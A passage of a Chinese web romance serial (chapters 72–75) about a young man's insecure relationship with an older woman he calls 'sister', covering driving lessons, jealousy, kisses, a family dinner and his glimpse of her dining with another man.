下一秒，他脸上又出现了类似于哭的表情，不过很快就消失了。
怎么办啊……
他真的拿姐姐一点办法都没有。
姐姐到底喜不喜欢他啊？
总有一种被吊着的感觉……
沈知逸闷头吃西瓜，心口像压了一块大石头，有些喘不上气。
黎娜看他一眼，见他不怎么开心，就把手放到他脑袋上，轻轻地揉了揉。
“听话点。”
沈知逸垂眸：“……嗯。”
他心想，难道我还不够听话吗？
72. 神明陷落
在家办公近一个星期，黎娜准备回公司，叫收纳员过来简单整理了一下需要带走的东西，全部搬回之前住的地方。
沈知逸科目一过了，教练通知他去驾校练车。
晚上吃饭的时候，沈知逸问：“驾校教练是不是很凶，我看网上好多人说教练会骂人……”
黎娜放下筷子，回忆了一下：“还好吧，反正我没被骂过，教练人还挺好的。”
沈知逸松了口气。
黎娜又笑了：“不过……那时候你温琳姐被骂得挺惨的，还把车开河里了，差点丢了小命，最后用吊车吊上来了。”
沈知逸笑得肩膀都在发抖。
“姐姐，你怎么知道温琳姐把车开河里了？”
黎娜：“我跟她一起报的名，车子也是一起练的，我所有科目一把过，你温琳姐科目二考倒车入库，还把考场石墩子撞飞了。”
沈知逸被吓到，有些担忧：“那我会不会也把车开到河里，考试的时候把石墩子撞飞？”
黎娜：“不会，整个驾校就出了你温琳姐那么一个没脑子的。”
沈知逸看着她，小心翼翼地问：“那万一……我也是那个没脑子的，姐姐，你会不会嫌弃我？”
黎娜毫不犹豫：“会。”
沈知逸：“啊？”
黎娜：“如果教练骂你，你就打电话给我，送你过去是学车的，又不是去挨骂的，家里人都不舍得骂你，他凭什么骂你？”
沈知逸这才笑了：“嗯嗯。”
好喜欢被姐姐护着的感觉……
事实上，他所有的担心都是多余的。
在驾校练车过程非常顺利，教练也很有耐心，只用说一遍，沈知逸就记住了，三天学完了科目二的内容，就不停地反复练习，等教练安排考试时间。
Eason和Sofia去希腊游玩了，有时候打电话过来询问他练车的情况，还有跟黎娜相处的怎么样。
黎娜已经回到公司上班了，沈知逸白天要去练车，下午在练琴，他们就只有早上和晚上能见面。
看沈知逸每天顶着大太阳骑车去驾校，太辛苦了，黎娜雇佣了一个司机专门接送他。
回家的时候，会经过黎娜的公司，后来沈知逸就直接去公司，等黎娜下班一起回家。
要是碰到同事，就会被说：“娜娜，你弟弟又来找你啦，你们姐弟两个感情真好。”
黎娜就会笑着点头。
沈知逸低着脑袋，跟在她后面。
等同事走远了，沈知逸到前面来，跟她并肩走，轻轻勾着她的手指，侧过脸，低头在她耳边说话。
“我是你弟弟吗？”
黎娜打哈欠，眼角闪着泪花：“你不是总喊我姐姐？”
“……我喊习惯了。”
沈知逸有些懊恼。
“那以后我也喊你娜娜吧，可以吗？”
黎娜：“随便你。”
一个称呼而已，她是这样想的。
但是到了沈知逸，他就会琢磨很久，总觉得人只有不太开心的时候才会说“随便你”，他让姐姐不开心了吗？而且姐姐刚才语速很快，听起来就有点生气的感觉，这三个字让他心里不太舒服。
沈知逸轻轻地“嗯”了一声。
黎娜困得眼睛都快睁不开了，走起路来颠三倒四，又听见沈知逸的声音传过来。
“如果以后再有人说，我是你弟弟，你就否认好不好？”
黎娜：“那我说什么？”
沈知逸咬了咬嘴唇：“就说，我不是你弟弟，我是你男朋友啊。”
黎娜皱眉：“不要吧，他们会说我是变/态吧，找个比自己小那么多的男朋友，而且你以前来公司，她们都见过你，知道你是我弟弟。”
沈知逸停下来，握住她的手，不让她在继续往前走，把她拉过来，正对着自己，看着她。
“可是，他们早晚要知道的。”
黎娜抿了抿嘴唇：“嗯……”
很模棱两可的回答。
沈知逸眼睫低垂下来。
“你是不是不想告诉他们，你觉得我们这段关系不会太长久，所以没必要让太多人知道，姐姐，你是不是这么想的？”
说到后面，他近乎咄咄逼人。
眼睛直直地盯着黎娜，像是非要她给出一个交代。
本来还有些困倦的黎娜，听到他这番话瞬间就精神了。
她收起手指，回握住沈知逸的手。
沈知逸感受到她的力度，朝他们的手看了过去，也握紧了一些。
黎娜漫不经心地朝周围看了一圈，没有人过来，便往前走了几步，几乎要贴到沈知逸身上，空出的手轻轻揪住他胸口的衣服，抬头看向他。
沈知逸迅速别开脸，侧脸上浮起红晕，结结巴巴的。
“你、你干什么……”
黎娜稍微踮起点脚尖，嘴唇凑向他的脖子。
他呼吸凝滞，瞳孔收缩。
极轻的呼吸喷洒在皮肤上，有一股香味飘过来，距离越来越近，她脸上的细小绒毛蹭过他，特别痒，还有点麻。
沈知逸很快就受不了了，轻轻推开黎娜。
黎娜笑着问：“为什么推开我？你应该会喜欢我这样做。”
沈知逸小声说：“我今天出了很多汗，还没有洗澡，等回家我洗完澡，再亲行吗……”
黎娜哑然失笑：“还能留到晚上？”
沈知逸有些着急了：“不可以吗？”
黎娜收起笑容，一脸严肃：“当然不可以。”
沈知逸眼里光芒熄灭，“哦”了一声。
黎娜松开他的手。
他下意识抓了一下，没抓到。
黎娜收回去的手，指尖从他后背划过，来到他的脖子上，勾着他往下用力。
他身体忽然变得特别僵硬，随着她的力道，顺从地低下头。
黎娜闭上眼睛，吻住他的嘴唇，又往前面挪了一点，贴紧他的身体，隐约能感受到他胸腔里面心脏在极速跳动，又重又快。
沈知逸手足无措，都不知道此刻自己该做什么，被她带着亲了一会，垂在身侧的手，试探性放在她腰上。
她身体蜷缩了一下，又舒展开来，像只伸懒腰的小猫，特别可爱。
渐渐的，沈知逸从她手中夺走控制权，紧搂住她的腰，亲得特别用力。
她有点招架不住，整个人往后仰，不由得倒退几步，靠到了墙壁上。
沈知逸追过去，嘴唇从始至终没分开过，身体还在挤她，似乎要与她血肉相融在一起。
黎娜有些上不来气，腹部有种异样的感觉，意识到那是什么，她脑袋里短暂地空白了两秒钟，别开了脸。
沈知逸停下来，退后了一点，喘着粗气，嘴唇亮晶晶的，有一种透明感，像草莓味的果冻。
他垂眸看着黎娜。
黎娜也在喘气，彼此的呼吸交融在
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一起，视线滑到下面。
沈知逸忽然想起什么，立刻背过身去，双手挡在裤子前面，几乎无地自容。
姐姐肯定感受到了吧……
好难为情。
黎娜收回目光，拍了拍沈知逸的肩膀，语气如常。
“走了，回去了。”
沈知逸低着脑袋：“……嗯。”
黎娜走在前面。
沈知逸跟上去，看她手抓在包带上，牵不了，再看向另一个手，还拿着手机，就放弃了牵她的想法。
“姐姐，你真的特别坏。”
“特别，特别地坏。”
黎娜微顿，继续往前走。
沈知逸抿着嘴唇。
平时，姐姐都不会主动跟他亲近，除了上次在摩天轮。
那这次……她是故意的吧。
故意用这种方式逃避他的问题。
他也好贱，被姐姐亲一下，就认输了，不追究了，宁愿自己被困在易碎的彩色泡泡里，也不忍心破坏。
沈知逸晒黑了，是在洗完澡照镜子的时候发现的，脖子和胸口皮肤都不是一个颜色了。
他坐在床上给黎娜发消息。
沈知逸：【姐姐，你喜欢我白一点，还是黑一点？】
黎娜：【？？？】
沈知逸：【我好像晒黑了一点，怕你不喜欢……】
黎娜：【没区别，黑一点，白一点，都是你。】
沈知逸心脏砰砰乱跳。
沈知逸：【就是我不管变成什么样，只要我是沈知逸，你就会喜欢我对吗？】
黎娜：【小屁孩快点睡觉。】
沈知逸：【我真不小了，姐姐，你能不能别这样叫我了？】
黎娜：【好，快点睡觉吧。】
黎娜：【晚安，别回了。】
沈知逸看着聊天记录。
手指滑动，目光停留在那句“你就会喜欢我对吗”，然后黎娜就催他快点睡觉。
这两条信息，沈知逸看了很久。
为防止自己越晒越黑，去驾校之前，沈知逸让司机拐了弯，去商场买了遮阳帽和防晒衣。
司机看了眼乌云密布的天空：“今天没有太阳，可能要下雨了。”
沈知逸点头：“东西我放在车上，出太阳的时候用。”
司机还在看天，回答得驴头不对马嘴，喃喃道：“我女朋友骑电瓶车上班的，不知道到时候会不会下雨……”
沈知逸问：“你也有女朋友？”
司机转过头来：“你也有？”
沈知逸垂眸：“算是有吧……”
司机挠头：“什么叫‘算是有吧’，有就有，没有就没有，难道你们还在暧昧期？”
沈知逸不知道该怎么回答了，看向车窗外面。
司机是过来人，看他这样，不由得叹了口气，又重振精神，鼓励他。
“加油啊，小兄弟，你一定可以求偶成功的！”
沈知逸脸一红：“……”
求偶……吗？
跟司机预测的一样，沈知逸练完车就下雨了，而且他练的时候一滴都没下，正好练完了就下了，特别会挑时间。
沈知逸没有带伞，跑到驾校门口。
司机已经在等他了。
他打开车门，迅速上车。
司机从后视镜里看着沈知逸，挠了挠脖子。
“那个……可以耽误你一点时间吗？”
73. 神明陷落
沈知逸抬眸：“你有事吗？”
司机说：“我女朋友早上出门没带雨披，现在下雨，她有点不方便回家……”
沈知逸问：“你想去接她？”
司机点头。
沈知逸说：“好。”
司机喜笑颜开：“谢谢你啊，你人真好，我女朋友在幼儿园上班的，正好路过。”
沈知逸：“嗯。”
手机响了一下，他打开。
黎娜：【今天别来公司了，直接回家吧，我晚上有事。】
沈知逸：【那你几点钟回来，我等你回来一起吃饭吧？】
黎娜：【别等我，我在外面吃。】
沈知逸犹豫几秒：【和谁？】
黎娜：【同事。】
沈知逸：【男同事还是女同事，有几个人？】
黎娜：【男女都有，十个左右。】
沈知逸：【好，那你别喝酒，早点回来。】
黎娜没再回复。
沈知逸看了会手机，就关掉了。
到幼儿园门口，司机停车，闪了两下车灯。
路边上，有两个女生撑着伞，正在聊天。
其中一个女生朝他们的车子看过来，立刻跳起来挥手，笑得特别阳光可爱。
司机也跟着傻笑，把车子又往前开了一点，到商店下面，有牌子挡着，能少淋点雨。
她小跑过来。
那个女生怕她淋到雨，也跑过来，光顾把伞撑到她身上了，自己倒淋了不少雨。
她打开副驾驶上车，朝撑伞的女生递过去一个飞吻。
“谢谢你，小宝贝儿，明天请你喝奶茶哦。”
女生看向驾驶位：“那谁呀？”
她笑嘻嘻地说：“我男朋友呀。”
在她承认和司机是情侣关系时，坐在后座的沈知逸愣了一下。
汽车开到路上。
女生看到沈知逸。
“诶，车里还有一个人吗？”
司机说：“嗯，我现在接送他去驾校。”
女生：“哦。”
然后打开怀里的纸袋，用餐巾纸捏住泡芙拿出来，递给后面的沈知逸。
“给你吃，这个是抹茶味的，很香，一点都不腻！”
沈知逸双手接过来，微笑道：“谢谢你。”
女生：“不客气。”
司机噘着嘴：“老婆，我也要嘛。”
这次女生没用餐巾纸包住，直接用手拿起来，胡乱地塞进司机嘴巴里。
“你就吃吧，把你吃成一头大肥猪！”
司机：“如果我是肥猪，你还会爱我吗？”
女生：“我会把你做成红烧肉，糖醋小排，卤猪耳朵，猪头肉，酱香猪蹄……”
司机瘪嘴，哭唧唧。
沈知逸观察着他们，很安静。
原来别人谈恋爱是这样。
总感觉……他和姐姐跟别人不太一样。
从眼前这对情侣可以看出来，他没有问题，问题出在姐姐身上。
一直都是他在奔赴姐姐。
姐姐就只会敷衍他，碰到稍微有点严肃的话题也只会逃避。
但其实谈恋爱，不就应该像眼前的他们一样，开开心心的吗？
为什么他总是感到难过……
回到家，沈知逸一个人吃完了饭，在客厅里拿着平板看纪录片。
墙壁上的时针指向十二点，玄关那边还没有动静，沈知逸快要忍不住了，拿起手机给黎娜打电话。
黎娜接通：“喂？”
沈知逸问：“你怎么还没回来，我去接你吧，你发个位置给我。”
黎娜：“不用接我，我马上回去了。”
沈知逸：“……好。”
姐姐马上回来，那他就再等一会。
等到凌晨一点钟，沈知逸又坐不住了，拿起手机给黎娜打电话。
这次，黎娜没接。
电话被系统挂断。
再打第二次，第三次……都是很快就被挂断了。
沈知逸给她发消息。
沈知逸：【不是马上就回来吗，都过去一个小时了。】
沈知逸：【还不接我电话……】
沈知逸：【你喝酒了吗？】
黎娜没回。
沈知逸犹豫了一会，又打电话过去。
“嘟”了几声，竟然接通了。
出乎沈知逸的意料。
他深吸口气：“姐——”
“你能不能别打电话过来了，你怎么那么烦！别再打了听见没有！”
沈知逸抿紧嘴唇，用鼻子“嗯”了一声。
电话又被挂掉了。
接他电话，为的就是骂他一顿。
可是她一直不回家，他真的很担心她路上是不是出了意外啊。
沈知逸放下手机，关掉客厅里的灯，躺在沙发上看平板，渐渐睡着了。
到天亮，都没有一点动静。
沈知逸从沙发上下来，去玄关转了一圈，没有黎娜脱下来的鞋子，又去她房间，床单被子都是整齐的，没有被动过。
昨天晚上，黎娜没有回家。
今天是星期六，黎娜不用上班，沈知逸也没有被通知去驾校，吃完早饭就窝在沙发上看手机。
到九点钟，门锁传来输入密码的声音。
沈知逸浑身一颤，没有动。
门打开了，传来一阵高跟鞋落在地上的声音。
沈知逸心脏收紧，躺下来钻进毯子里，只露出脑袋，打开动漫看，把声音调大了一点。
黎娜在玄关换上拖鞋，拎着早餐走进来，看到躺在沙发上的沈知逸愣了一下，然后就收回目光，坐到餐桌前，安安静静地吃早饭。
沈知逸没有说话，翻了个身，关掉手机，用毯子把自己盖住。
黎娜咳了一声：“你吃过早饭了吗？”
沈知逸：“吃过了。”
黎娜：“今天不用去练车？”
沈知逸：“嗯。”
怀里手机响了，沈知逸拿出来看了一眼，是Sofia打过来的。
他按下接通键：“喂？”
Sofia：“小知逸，我和你爸爸马上要回去了，给你们带了好多礼物，到时候你和娜娜回家一趟吧？”
沈知逸：“……好。”
Sofia沉默几秒：“你声音怎么听上去一点精神都没有，生病了吗？”
沈知逸：“没有。”
Sofia：“不开心吗？”
嗯，非常不开心。
Sofia：“跟你娜娜姐姐怎么样？”
更不开心了。
沈知逸轻吸口气：“挺好的。”
Sofia：“那就好，我和你爸爸马上回去了，到时候告诉你，你带着娜娜一起过来玩。”
沈知逸鼻子发酸：“嗯。”
Sofia：“挂掉吧。”
沈知逸就把电话挂掉了，闭上眼睛，鼻子有些闷闷的，张开嘴巴轻轻呼吸。
黎娜用纸巾擦干净嘴巴：“谁打来的？”
沈知逸：“我妈妈。”
黎娜：“跟你说什么？”
沈知逸：“什么也没说。”
黎娜还想问，忽然愣住了，怎么今天一直是在她问，平时都是沈知逸凑过来，跟她问东问西的。
今天的沈知逸看上去似乎安静了不少
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，就躺在沙发上，她问一句，他答一句，多一句废话都没有。
而且她昨天晚上没回家，他也不问。
怎么回事呢……
黎娜扶着脑袋想了一会，大概是昨天晚上她总是不接沈知逸的电话，后来接了，又把沈知逸骂了一顿吧。
不过，应该不至于。
都过去一晚上了，沈知逸不至于还在生气。
吃完早饭，黎娜去卫生间刷牙。
回来看到沈知逸还躺在沙发上，黎娜径直走过去，走到他面前停下来，垂眸看着他。
沈知逸闭上眼睛，半张脸埋进毯子里，身体蜷缩起来。
黎娜在他附近坐下来，沙发陷进去一块。
沈知逸背过身去，双手挡在脸前面。
黎娜手撑在他旁边，俯下身。
沈知逸闭着眼睛，只能感觉到光线忽然变暗了，睫毛颤了颤，更加把脸埋进去。
黎娜捏住他的耳垂，轻轻地揉了几下，软软嫩嫩的，肉肉的，边缘泛着粉色，还没揉一会儿，就整个红起来了。
“别碰我，我要睡觉了。”
沈知逸推开她的手，捂住自己的耳朵。
黎娜问：“你在因为昨天晚上的事生气？”
沈知逸没出声。
黎娜又说：“你想问什么，直接问吧，我都会回答你，不会嫌你烦。”
沈知逸这才开口：“不需要了，我没有要问你的，你想去哪里，跟谁去玩，几点钟回来，或者不回来，我都没有资格管你，只要你开心就好了。”
哦，是真的生气了。
黎娜忍不住笑：“行，那我现在想亲亲你，麻烦你坐起来，让我亲一下。”
沈知逸咬了咬嘴唇，轻吸口气，冷漠地拒绝。
“改天吧，我现在不想亲。”
黎娜笑得不行：“那让我摸摸脑袋？”
“我现在也不想被摸脑袋。”
察觉到黎娜在笑，沈知逸抿紧嘴唇，眉心也皱了起来。
黎娜才不管他，直接上手，去揉沈知逸的脑袋。
沈知逸立刻往后躲，用毯子把自己整个围起来，退到沙发角落里，抱着自己的双腿。
黎娜直接把他身上的毯子掀飞，就看到他发红的眼睛和鼻尖，一时间愣住了。
“又要哭？”
失去了毯子的保护，沈知逸不能再掩盖自己的情绪，睫毛垂下来盖住眼睛，低着头站起来，跳下沙发，就往自己的房间走。
黎娜拉住他的手。
他没有回握住她，细长的手指垂在那里，没有甩开她，也没有动。
黎娜走上来，又把手往他脖子上放，让他低头下来。
他死活不肯。
她只能踮起脚去亲他。
他就别开脸。
“你每次都用这个。”
“你知道用完这个我就不会再生你的气，你总是走捷径，一点时间都不愿意在我身上浪费。”
他拿开黎娜的手，推开黎娜。
黎娜抬眸看着他：“那你现在想让我怎么做，你才能消气？”
沈知逸认真地想了一会：“我不知道。”
是真的不知道自己需要什么。
明明特别难过，很期盼着她能做些什么，但是希望她做什么呢，他又不知道。
“我去睡一觉吧，我昨天晚上可能没睡好，所以情绪不太对，可能等我睡完起来就好了。”
沈知逸往房间走。
他的背影很落寞很无助，像淋了雨独自在巷子里行走的流浪狗。
黎娜几步追上去，拽住他的衣角。
“对不起，我昨天晚上对你态度不好，其实你很担心我，对吧？”
74. 神明陷落
沈知逸眼睛瞬间就红了。
那种说不清道不明的，心中渴求的东西是这个吗？
不知道为什么，黎娜说对不起，他反而更委屈了，但是不再生黎娜的气了。
他转回身来：“那你以后晚上在外面，不能再不接我的电话了，要告诉我具体什么时间回来，昨天晚上我等了你好久，在沙发上睡着的。”
黎娜沉沉地吐出口气：“好。”
沈知逸点头：“嗯。”
他回房间。
黎娜跟在他后面，在他关门的时候，用手握住了门框。
沈知逸看着她：“你干什么？”
黎娜问：“你真要睡觉？”
沈知逸眼睛里布满血丝，黑眼圈也有点明显。
“嗯……昨天晚上没睡好，现在吃完早饭好困。”
黎娜打哈欠：“我也好困，一起睡吧？”
本来困到眼皮打架的沈知逸，一听到这话立马就精神了，结结巴巴地说：“一、一起睡？”
“嗯”。
黎娜越过他，直接躺到他床上，还盖着他的被子，闭上了眼睛。
沈知逸不敢相信，在房间里来来回回走了两圈，再看向床上，果然有个人躺在那里，姐姐真的要跟他一起睡吗，之前不是一直在防着他，晚上睡觉都要锁门的。
沈知逸再次确认：“姐姐，你真的要在这里睡，跟我一起睡吗？”
黎娜睁开眼睛，起身下床：“那我回自己的房间。”
沈知逸立刻堵住门，有些不敢看她，脸红红的，看着自己的脚尖。
“那、那就一起睡吧。”
黎娜又躺回去了。
沈知逸也在床上躺下来，朝她的方向蹭了几下，离她更近一点。
她掀起被子，盖到沈知逸身上。
“再过来一点，不然你盖不到被子。”
沈知逸：“……好。”
又凑近了一点。
黎娜低着头缩在被子里，面前是沈知逸的胸膛，她把脸靠上去，用额头抵着，往他怀里钻。
沈知逸整个人都僵住了，感觉在这种时刻，他应该搂住黎娜，于是就把手放到黎娜腰上，搂过来，让黎娜紧贴着他。
黎娜笑了一下，气息稍显急促，透过他的上衣，冲击着他胸口的一小片皮肤。
“被人抱着睡觉还挺舒服的。”
沈知逸把挡在她脸前的头发，都撩到耳朵后面，低下头，用下巴抵着她的脑袋，嘴角上扬。
“我也觉得好舒服。”
黎娜闭着眼睛：“哪里舒服？”
沈知逸脸红了。
“就……软软的，香香的，热乎乎的，像抱了一只小猫咪。”
黎娜：“在说我吗？”
沈知逸有些难为情地“嗯”了一声。
黎娜在他胸口上嗅来嗅去。
沈知逸：“你在闻什么？”
黎娜：“闻你身上的味道。”
沈知逸眼睛弯弯的，含着笑意：“那姐姐，我是什么味道的？”
“脸是香皂味，身体是沐浴露味，衣服就是洗衣液的味道。”
“好闻吗？你喜欢吗？”
“还可以，很清爽干净。”
沈知逸嘴角都快压不下来了，稍微松开她一点，往下挪，跟她面对面，看了她一会，就去亲她的嘴巴。
她立刻睁开眼，看着他。
他害羞地移开视线，声音很小，就显得特别温柔。
“你刚才都没有亲我……”
他又握住黎娜的手，放到自己脑袋上揉了几下。
“还有头，你也没有摸……”
黎娜搂住他的脖子。
“是谁不让我摸的？”
沈知逸委屈巴巴：“是我……”
黎娜：“没发现你脾气还挺大，不让亲，也不让摸。”
沈知逸更委屈了：“没有你脾气大，昨天还在电话里吼我，说我烦，不让我再打电话给你。”
黎娜：“……”
沈知逸继续控诉：“你那时候真的好凶，吓我一跳，我还以为自己被你讨厌了。”
黎娜：“……”
沈知逸看着她，越看越喜欢，忍不住凑过去，又去亲她的嘴巴。
她回应了几下。
沈知逸就退开了，手放在她腰上揉了一会，小心翼翼地开口。
“姐姐，要不要试试伸舌头的？”
黎娜沉默几秒：“你会吗？”
沈知逸小声说：“多试几次，应该就会了……”
黎娜很大方：“那你试试吧。”
她一直闭着眼睛。
沈知逸松开她，稍微起来一点，手臂撑在床上，把她脸上的头发都拨开，吻住她的嘴唇，用舌尖轻舔。
黎娜张开嘴，舌尖探出。
交触的瞬间，黎娜身体蜷缩了一下，沈知逸放在她腰上的手臂瞬间收紧了。
交缠，侵占，引诱……
沈知逸呼吸越发急促，手也有些控制不住，顺着她的腰线往上滑，抚摸着她背后的肩带，手指似乎想往前面伸。
黎娜立刻压住，推开他，埋在他胸口上喘气。
“行了，你还睡不睡了。”
沈知逸舔了舔嘴唇，眸色很深。
“是你把我弄精神了，我本来很困的。”
黎娜不出声了。
沈知逸亲亲她的额头和鼻尖。
“姐姐，是不是要等到以后我们结婚了，才能做那种事情？”
黎娜下意识想问哪种事情，又很快意识到了他说的是那种事情，就被吓到了。
“天哪，你想得真远，还结婚……”
沈知逸有些失落：“你没有想过吗？”
黎娜：“从来没有。”
沈知逸：“……哦，那要是不结婚，我们也一辈子都在一起，好不好？”
黎娜呼吸声逐渐平缓。
沈知逸轻声喊她：“姐姐，你睡着了吗……”
黎娜没反应。
不知道到底睡着了没有。
还是觉得已经把他哄好了，就没必要再多花心思去回答他了。
沈知逸考完科目二，Eason和Sofia从希腊回来了。
沈知逸还在黎娜这边住着，没有回家。
Sofia给他发信息：【你和娜娜什么时候回家一趟，我带回来好多好玩的，你们小孩肯定喜欢。】
沈知逸：【姐姐平时要上班，等双休日我带她回家吧。】
Sofia：【好，要不我们去外面吃饭吧，有个朋友餐厅新开业，叫我去捧场呢。】
沈知逸：【好。】
Sofia：【我把餐厅位置发给你。】
沈知逸：【嗯嗯。】
Sofia发来位置。
沈知逸保存下来。
在一旁抱着电脑办公的黎娜，头伸过来，看向沈知逸的手机屏幕。
“你在跟谁发消息？”
很喜欢她这样的询问，沈知逸笑了起来，迅速把手机背对着她，神神秘秘地说：“你猜啊。”
黎娜就顺着他，双臂环胸，故作不悦道：“男的还是女的？”
沈知逸笑得更开心了，故意说：“是女孩子哦。”
黎娜瞪他：“谁？”
沈知逸哼了一声：“我不告诉你。”
黎娜直接把他手机抢过来，翻他微信聊天记录，找到最近时间发消息的人，
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是Sofia。
沈知逸手机被抢走，一点都不生气，在旁边和黎娜一起看。
黎娜把手机丢给他。
他义正言辞：“我没骗你，我妈妈本来就是女生啊。”
黎娜：“……”
沈知逸眼睛亮晶晶：“我也想看你的聊天记录，你也把手机给我看看，好不好？”
黎娜正在用手机看部门的群消息，退回去等会要重新找，就拒绝了。
“我手机里没有好看的，都是工作上的事情。”
沈知逸有些怀疑：“是吗，你是不是不想给我看，你手机里有我不能知道的秘密？”
黎娜觉得好笑：“对对对，我手机里都是秘密，小孩儿不能看。”
沈知逸盯着她看了一会儿，没发现不对劲的地方，就牵起她的手，捏着她的手指头玩，声音闷闷的。
“我不是小孩，以后不许再叫我小孩了，小知逸也不行。”
“嗯，好的，一边玩去吧。”
沈知逸：“……”
姐姐真的好敷衍啊。
到双休日，黎娜在衣帽间选衣服。
沈知逸也在，她就把自己挑选出来的都放到沙发上。
“你来帮我选。”
沈知逸诧异：“我吗？”
黎娜点头。
沈知逸说：“我从来没帮女生选过衣服，会搭配得不好看吧……”
黎娜拍拍他的肩膀，鼓励道：“选吧，我相信你。”
“好。”
沈知逸选了一件黑色长裙，有一点点V领，不算太深，面料是丝绸质感的，光泽感很好。
黎娜夸赞：“可以，眼光不错。”
沈知逸有些不好意思：“那有奖励吗？”
黎娜挑眉：“这还要奖励？”
沈知逸走过来，低头在她嘴唇上亲了一下，笑嘻嘻的。
“好了，我收到奖励了，谢谢姐姐。”
还没反应过来的黎娜：“……”
这小孩……胆子越来越大了。
黎娜：“鞋子呢？”
沈知逸从展示柜里拿出一双黑色高跟鞋，鞋底是红色的。
他低着头，不敢看黎娜。
“穿这双。”
黎娜：“……”
这小孩也不是什么都不懂。
天快黑了，黎娜洗完澡，化好妆，换上沈知逸挑选的衣服和高跟鞋。
黎娜问：“去哪里吃饭？”
沈知逸打开手机，翻聊天记录：“等一下，我发给你。”
“嗡——”
放在包里的手机响了，黎娜拿出来。
沈知逸朝她看过去：“谁的电话？”
黎娜皱了下眉，按下接通键：“公司同事打来的。”
沈知逸眉眼低垂：“……哦。”
他翻到地址，听黎娜讲电话。
“喂？”
“怎么会这样？”
“现在？”
“行吧，我十分钟到。”
黎娜挂掉电话。
沈知逸问：“他们有事找你？”
黎娜：“嗯，有一批预定好的宝石出问题了，现在要回公司开会，找解决办法。”
沈知逸整个人都蔫了。
“今天不是双休日吗，就不能等星期一再去？你好不容易休息……”
黎娜想了一会：“这个问题现在就要解决。”
沈知逸：“那我爸爸妈妈那边——”
黎娜推开门：“你帮我跟他们说一下，临时有事去不了了，改天我请他们吃饭。”
说完，她就急匆匆出门了。
沈知逸留在原地。
姐姐走了，那他要怎么办呢？
75. 神明陷落
沈知逸独自打车到餐厅。
不知道等会看到Eason和Sofia该怎么开口，就提前在路上发消息告诉他们了。
沈知逸：【姐姐突然有事，要回公司一趟，我自己过去吧。】
Sofia：【好，你现在在哪里，我和你爸爸刚出来，接你一起去吧。】
沈知逸：【不用了，我已经在车上了。】
Sofia：【好的，那你到了发信息告诉我。】
沈知逸：【嗯嗯。】
到餐厅，沈知逸正好碰上Eason和Sofia了。
他们一起下车。
Eason穿着黑色套装休闲服，白色运动鞋，清爽又随性。
Sofia挽着他的手臂，穿着一条白裙子，黑色低跟皮鞋，举手投足间都透着优雅和从容，满面春光，看上去比之前年轻了不少。
看到沈知逸，他们大步走过来。
一左一右站在沈知逸身旁。
Eason：“娜娜回公司了？”
沈知逸敛眸：“……嗯。”
Sofia笑道：“上班很辛苦的，要二十四小时待命，等你将来完成学业，去工作了就知道不容易了。”
沈知逸蔫蔫地点头：“是很不容易，双休日都不能休息，平时她都很少有时间跟我在一起……”
Sofia和Eason察觉到他的小情绪，相视一眼。
Eason笑了：“那不是很正常，之前我跟你妈妈谈恋爱的时候，也是聚少离多，有时候一个月都见不了一次面，你们要相互体谅。”
“……嗯。”
沈知逸还是有点不开心，但是被Eason和Sofia开导过之后，心里稍微舒服了那么一点点。
进入餐厅，三人点完餐。
Sofia从包包里拿出一个盒子，外面裹着绿色的包装纸，上面系了褐色的丝带蝴蝶结。
她将这个盒子推到沈知逸面前：“这个是给娜娜带的礼物。”
沈知逸拿起来看：“是什么？”
Eason说：“腕表。”
Sofia：“娜娜不是喜欢腕表吗，我跟你爸爸后来去瑞典玩，在那边发现了一块非常古老的腕表，是上个世纪三十年代出的，全球只有五块，我们跟那个收藏家说了好久，他才肯忍痛割爱，娜娜一定会很喜欢的。”
知道价值不菲，沈知逸小心翼翼地放好，时不时看一眼，生怕自己一不留意，礼物就不见了。
Eason问：“猜猜我们给你准备了什么礼物？”
沈知逸有些诧异：“我也有礼物吗？”
Sofia：“那当然了。”
沈知逸懒得猜：“我不知道。”
Eason从背包里拿出一份房屋产权证书，放到沈知逸面前。
Eason：“瑞典是个好地方，环境好，空气好，我和你妈妈在那里为你准备了一套房子，将来你和娜娜结婚有小孩了可以搬过去住，国内城市空气不太好，小孩容易有鼻炎。”
沈知逸心里有种怪怪的感觉，把房屋产权证压到腕表下面，单手撑着下巴，眼眶有些发红。
他睫毛低垂下来，别开脸，看向窗外面，若无其事地用指腹擦了下眼睛，指尖微微湿润。
爸爸妈妈真的对他特别好。
他现在好幸福。
这种幸福感持续了一小会儿，就瞬间消退下去了。
沈知逸看到窗外面，停了一辆汽车。
秦钰从主驾驶下来。
黎娜从副驾驶下来。
他们并肩走在一起，有说有笑地进入了这个餐厅。
沈知逸迅速收回视线，看向Eason和Sofia。
此刻正好有服务员端菜上来，Eason和Sofia都在帮忙道谢，没有注意窗户外面。
沈知逸松了口气，心上却压了块大石头，各种情绪一瞬间涌出来，全部堵在了胸腔里。
这顿饭，他吃得心不在焉。
黎娜和秦钰进入餐厅。
为以防万一，黎娜提前跟前台打好招呼，今晚所有消费都记在她账上。
秦钰忍俊不禁。
“谢谢黎老板请客。”
黎娜嘴角抽搐：“还黎老板……”
“那小黎妹妹？”
黎娜：“呕呕呕！”
秦钰笑得肩膀一直在抖。
跟着服务员来到空座位，秦钰体贴地拉开座椅，黎娜毫不客气地坐下来，边点餐边看他。
“秦老板这么伺候我，弄得我都有点不好意思了。”
秦钰为她倒好果汁：“有什么不好意思的，你出钱请我吃饭，我出力为你服务。”
黎娜啧了一声：“我哪当得起，不过，这次真的太感谢你了，那套系列今年秋季就要上新，要不是你紧急调货过来，我们就要完蛋了。”
秦钰微笑：“没费多大力气，一句话的事情，比约你出来吃饭要容易多了。”
黎娜扶额：“……”
可真会损人。
等待期间，黎娜手机响了。
沈知逸的信息跳出来。
沈知逸：【你在哪里？】
黎娜：【在餐厅吃饭。】
沈知逸：【你不是去公司了吗？为什么会在餐厅？】
黎娜：【问题已经解决了，同事还没吃饭，就一起出来吃了。】
沈知逸：【同事？】
黎娜：【嗯。】
沈知逸：【你不要骗我，真的是同事？】
黎娜：【没骗你，是同事。】
沈知逸没再发了。
这是第一次由黎娜的信息作为结尾。
黎娜关掉手机，放在一边。
秦钰看她很久了：“在跟谁发消息？”
黎娜愣住，沉默了几秒钟。
“我弟弟。”
秦钰挑眉：“沈知逸？”
黎娜：“嗯。”
秦钰：“他说什么了？”
黎娜：“没说什么。”
忽然有一种被人盯着的感觉，秦钰在餐厅里看了一圈，最终在靠窗的那桌对上了一道视线，嘴角不自觉上扬。
沈知逸被发现后，不躲不避，仍然盯着他。
秦钰朝他微笑，就收回目光，看向坐在对面的黎娜。
